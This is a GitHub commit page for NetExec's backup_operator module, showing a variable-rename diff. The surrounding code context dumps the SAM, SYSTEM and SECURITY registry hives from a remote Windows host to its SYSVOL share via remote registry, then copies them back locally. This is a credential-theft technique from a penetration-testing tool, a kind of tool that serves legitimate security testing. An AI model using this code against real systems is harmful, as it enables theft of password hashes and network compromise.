Skip to content

Commit

Permalink
fix review
Browse files Browse the repository at this point in the history
  • Loading branch information
mpgn committed Jan 9, 2025
1 parent 74d8787 commit 333a7f3
Showing 1 changed file with 5 additions and 5 deletions.
10 changes: 5 additions & 5 deletions nxc/modules/backup_operator.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,13 +29,13 @@ def options(self, context, module_options):
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
# enable remote registry
remoteOps = RemoteOperations(connection.conn)
remote_ops = RemoteOperations(connection.conn)
context.log.display("Triggering start through named pipe...")
self.trigger_winreg(connection.conn, context)
remoteOps.connect_winreg()
remote_ops.connect_winreg()

try:
dce = remoteOps.get_rrp()
dce = remote_ops.get_rrp()
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
Expand All @@ -50,8 +50,8 @@ def on_login(self, context, connection):
except (Exception, KeyboardInterrupt) as e:
context.log.fail(str(e))
finally:
if remoteOps:
remoteOps.finish()
if remote_ops:
remote_ops.finish()

# copy remote file to local
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
Expand Down

0 comments on commit 333a7f3

Please sign in to comment.